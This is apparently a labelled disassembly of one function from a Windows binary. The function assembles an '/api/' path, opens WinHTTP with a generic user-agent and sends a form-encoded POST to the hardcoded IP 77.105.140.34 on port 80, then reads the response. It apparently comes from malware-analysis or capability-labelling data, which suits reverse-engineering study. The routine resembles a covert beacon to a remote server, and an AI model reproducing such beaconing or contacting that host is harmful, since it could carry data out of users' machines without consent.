Function at 0x40b5d0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41e2f6
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x42600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 4], 2
xorps xmm0, xmm0
push 0
movups xmmword [eax], xmm0
push 0x4205d8
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
call fcn.00405000
mov ecx, dword [ebp + 0x30]
mov esi, closesocket
mov eax, esi
mov dword [ebp - 0x38], 1
sub eax, ecx
cmp eax, 0x25
jb 0x40ba32
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push ecx
cmovae eax, dword [ebp + 0x20]
push eax
push 0x25
push str.pssPoL_JHOt_ddd_155_____:::_e_
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x64]
call fcn.0040a6a0
lea eax, [ebp - 0x64]
mov dword [ebp - 0x38], 3
push eax
lea ecx, [ebp + 0x20]
call fcn.004099f0
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x40b6b6
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b6ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ba04
push ecx
push edx
call fcn.0041c982
add esp, 8
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
mov ecx, dword [ebp + 0x18]
cmovae eax, dword [ebp + 0x20]
sub esi, ecx
mov dword [ebp - 0x3c], eax
cmp esi, 6
jb 0x40ba32
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push eax
push 6
push str._vapi_
push ecx
push dword [ebp - 0x48]
lea ecx, [ebp - 0x64]
call fcn.0040a6a0
lea eax, [ebp - 0x64]
mov dword [ebp - 0x38], 7
push eax
lea ecx, [ebp + 8]
call fcn.004099f0
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x40b739
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b72f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ba04
push ecx
push edx
call fcn.0041c982
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov eax, dword [ebp + 0x18]
jb 0x40b74c
mov ecx, dword [ebp + 8]
add eax, ecx
jmp 0x40b751
add eax, ecx
lea ecx, [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.0040a040
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
mov dword [ebp - 0x30], 0
cmovae eax, dword [ebp - 0x2c]
xor esi, esi
xor edi, edi
mov dword [ebp - 0x4c], eax
push edi
push edi
push edi
push edi
push str.A_WinHTTP_Example_Program_1.0
mov dword [ebp - 0x14], 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x44], eax
test eax, eax
je 0x40b8e9
push edi
push 0x50
push str.77.105.140.34
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x40b8f0
push edi
push edi
push edi
push edi
push dword [ebp - 0x4c]
push str.POST
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
je 0x40b8ed
mov esi, dword [ebp - 0x3c]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b7e0
sub ecx, edx
mov edx, esi
lea eax, [edx + 1]
mov dword [ebp - 0x3c], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x40b7f1
sub edx, dword [ebp - 0x3c]
push 0
push ecx
push edx
push esi
push 0xffffffffffffffff
push str.content_type:application_x_www_form_urlencoded
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov esi, eax
test esi, esi
je 0x40b8ed
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov esi, eax
test esi, esi
je 0x40b8ed
nop dword [eax + eax]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x40b8ca
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x40b929
inc eax
push eax
call fcn.0041c990
mov esi, eax
mov eax, dword [ebp - 0x30]
inc eax
push eax
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x30]
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x40b88f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__u_in_WinHttpReadData._n
jmp 0x40b89e
mov ecx, dword [ebp - 0x40]
push esi
call fcn.004044d0
push esi
push 0x420908
call fcn.0040b5a0
add esp, 8
push esi
call fcn.0041c43a
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x40b929
cmp dword [ebp - 0x30], 0
ja 0x40b830
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push edi
call esi
jmp 0x40b93a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__u_in_WinHttpQueryDataAvailable._n
call fcn.0040b5a0
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
add esp, 8
push edi
call esi
jmp 0x40b93a
xor eax, eax
jmp 0x40b8f0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__d_has_occurred._n
call fcn.0040b5a0
add esp, 8
test esi, esi
jne 0x40b925
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__d_has_occurred._n
call fcn.0040b5a0
mov eax, dword [ebp - 0x34]
add esp, 8
mov dword [ebp - 0x34], eax
test edi, edi
je 0x40b934
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push edi
call esi
jmp 0x40b93a
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x40b944
push eax
call esi
mov eax, dword [ebp - 0x44]
test eax, eax
je 0x40b94e
push eax
call esi
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x40b988
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b97e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ba04
push ecx
push edx
call fcn.0041c982
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp ecx, 0x10
jb 0x40b9cc
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b9c2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ba04
push ecx
push edx
call fcn.0041c982
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x40ba14
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ba0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40ba0a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041c42c
mov esp, ebp
pop ebp
ret
call fcn.00401460
int3